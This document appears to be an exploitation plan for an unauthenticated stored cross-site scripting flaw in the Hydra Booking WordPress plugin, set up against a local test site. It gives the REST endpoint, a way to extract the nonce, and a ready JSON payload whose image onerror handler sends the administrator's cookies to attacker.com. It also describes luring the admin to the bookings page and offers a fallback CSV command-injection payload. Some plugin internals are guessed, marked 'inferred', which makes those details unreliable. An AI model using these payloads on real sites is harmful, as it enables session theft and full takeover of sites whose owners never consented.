Exploitation Research Plan - CVE-2026-57388

1. Vulnerability Summary

The Hydra Booking plugin (<= 1.1.44) contains an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin allows unauthenticated users (site visitors) to submit booking requests containing arbitrary data (e.g., in name or note fields). This data is stored in the database without sufficient sanitization and is subsequently rendered in the WordPress administrative dashboard without proper output escaping.

An attacker can inject a malicious <script> payload into a booking. When an administrator views the bookings list or a specific booking's details in the plugin's backend, the script executes in the context of the administrator's session, potentially leading to full site takeover.

2. Attack Vector Analysis

• Endpoint: REST API POST /wp-json/hydra-booking/v1/bookings/create (inferred from RouteController.php and MeetingController.php patterns).
• Vulnerable Parameter: first_name, last_name, or note (within the JSON payload).
• Authentication: Unauthenticated (None).
• Preconditions: At least one "Meeting" must be created and published by an admin to serve as a target for the booking.

3. Code Flow

1. Entry Point: A visitor submits a booking via the frontend form or a direct REST API request to hydra-booking/v1/bookings/create.
2. Controller Logic: The BookingController::CreateBooking (inferred) method receives the request. It uses json_decode(file_get_contents('php://input'), true) to parse the payload.
3. Storage: The data is passed to the HydraBooking\DB\Booking class, which inserts the record into the custom database table (e.g., wp_tfhb_bookings or similar, created during Migrator::run()). The fields are stored without sanitize_text_field() or wp_kses().
4. Trigger Point (Sink): An administrator navigates to the "Bookings" page (wp-admin/admin.php?page=hydra-booking#/bookings).
5. Rendering: The admin dashboard (likely a Vue/React app) fetches the bookings via GET /wp-json/hydra-booking/v1/bookings/lists. The raw malicious string is returned in the JSON response and rendered into the DOM (e.g., using v-html or unescaped template literals).

4. Nonce Acquisition Strategy

While many REST routes in this plugin require permissions, the booking creation endpoint is designed for public use. However, WordPress REST API endpoints often require a _wpnonce for authenticated sessions or to prevent CSRF.

1. Shortcode: The plugin uses [hydra-booking] to display the booking calendar.
2. Page Creation: Create a page with this shortcode to ensure scripts are enqueued:

   wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[hydra-booking]'
   

3. Extraction: Navigate to the new page and extract the localized data.
   • JS Variable (Inferred): window.tfhb_hydra_data or window.hydra_booking_params.
   • Nonce Key: Look for nonce or rest_nonce.
   • Command: browser_eval("window.tfhb_hydra_data?.nonce")

5. Exploitation Strategy

Step 1: Discover an Active Meeting

First, identify a valid meeting_id.

GET /wp-json/hydra-booking/v1/meetings/lists

(If unauthenticated access to lists is blocked, the attacker would visit the public booking page and observe the meeting ID in the frontend scripts or network requests.)

Step 2: Inject Stored XSS

Submit a booking with a payload in the first_name field.

Request:

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-json/hydra-booking/v1/bookings/create
• Headers: Content-Type: application/json
• Body:

{
  "meeting_id": 1,
  "first_name": "<img src=x onerror='fetch(\"http://attacker.com/log?c=\"+document.cookie)'>",
  "last_name": "Attacker",
  "email": "victim@example.com",
  "meeting_dates": "2025-10-10",
  "start_time": "10:00 AM",
  "end_time": "10:30 AM",
  "time_zone": "UTC",
  "note": "Please review my booking"
}

Step 3: Trigger the Payload

Wait for or trick the admin into visiting the bookings page:
http://localhost:8080/wp-admin/admin.php?page=hydra-booking#/bookings

6. Test Data Setup

1. Admin User: Create an admin user.
2. Meeting: Create a meeting via WP-CLI or the UI to get a valid ID.

   # Create a meeting post
   ID=$(wp post create --post_type=tfhb_meeting --post_title="Consultation" --post_status=publish --porcelain)
   # Set required meta for the plugin to recognize it
   wp post meta update $ID __tfhb_meeting_opt '{"duration":30,"meeting_type":"one-to-single"}'
   

3. Public Page: Create a page with [hydra-booking] to simulate a live site.

7. Expected Results

• The REST API should return a success message: {"status": true, "message": "Booking Created Successfully"}.
• When the admin views the booking list, a network request to attacker.com should be observed, or an alert box should appear if using alert(1).

8. Verification Steps

Verify the payload is stored in the database:

# Check the bookings table (table name based on Migrator class)
wp db query "SELECT first_name FROM wp_tfhb_bookings WHERE last_name='Attacker'"

The output should contain the raw <img ...> tag.

9. Alternative Approaches

• Field Variation: If first_name is sanitized, attempt injection in note, last_name, or email (using comment syntax if needed).
• AJAX Endpoint: If the REST API is restricted, check for the equivalent AJAX action: wp_ajax_nopriv_tfhb_create_booking (inferred).
• CSV Export: If the dashboard is secure, check if the plugin has a "Export Bookings to CSV/Excel" feature. Inject a CSV Injection payload (e.g., =cmd|' /C calc'!A0) into the booking fields to target the administrator's local machine.